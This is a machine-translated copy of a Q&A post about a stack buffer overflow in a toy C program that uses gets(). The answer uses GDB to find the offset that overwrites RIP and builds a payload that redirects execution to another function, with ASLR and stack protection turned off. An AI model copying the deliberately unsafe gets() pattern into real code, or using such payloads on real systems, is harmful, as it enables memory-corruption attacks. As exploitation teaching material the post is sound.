[英]ROP faild on linux even when ASLR and stack compiler protector are disabled
我關閉了 gcc 堆棧保護器的 ASLR 和 tern。
我編寫了 C 易受攻擊的代碼,並試圖溢出緩沖區,因此我檢查了崩潰需要多少字符。 我試圖將返回地址更改為另一個函數,但我收到一條消息:
Segmentation fault (core dumped)
這是我的 C 代碼:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void sss()
{
printf("good by");
}
void scriptpy(){
printf("hello world\n");
}
int main(int argc , char** argv)
{
char buf[4];
gets(buf);
return 0;
}
我找到了“sss”函數的地址,並嘗試插入十六進制值。
這是我的地址:
(gdb) disas sss
Dump of assembler code for function sss:
0x00000000000006ca <+0>: push %rbp
要編輯我插入的返回地址:
printf "AAAABBBBB/xe2/x06/x00/x00/x00/x00/x00/x00" | ./cTutorial
假設二進制文件是使用標志-fno-stack-protector
編譯的,並且 ASLR 已禁用echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
。
程序開始崩潰,有效載荷為 12 個字符:
$ python3 -c "print('A' * 12)" | ./cTutorial
Segmentation fault (core dumped)
使用GDB查找覆蓋RIP的偏移量,我們可以發現RIP的第一個字節可以用13個字符的有效載荷0x41('A')覆蓋:
$ gdb -q cTutorial
Reading symbols from cTutorial...
(No debugging symbols found in cTutorial)
(gdb) r <<<$(python3 -c "print('A' * 13)")
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7de0041 in ?? () from /lib/x86_64-linux-gnu/libc.so.6
請注意,RIP 被0041覆蓋,其中00
是終止字符串的空字符。
要控制 RIP 的所有字節:
(gdb) r <<<$(python3 -c "print('A' * 18)")
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()
假設函數sss
位於地址0x0000555555555189
。
最終的有效載荷是:
(gdb) b sss
(gdb) r <<<$(python3 -c "print('A' * 11 + '\x89\x51\x55\x55\x55\x55')")
breakpoint 1, 0x0000555555555189 in sss ()
其中 11 = 18 - (len('\\x89\\x51\\x55\\x55\\x55\\x55') + 1)
+1 為空字節
跳轉到函數sss
。 跳轉到函數sss
后程序將崩潰,因為堆棧將被破壞。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.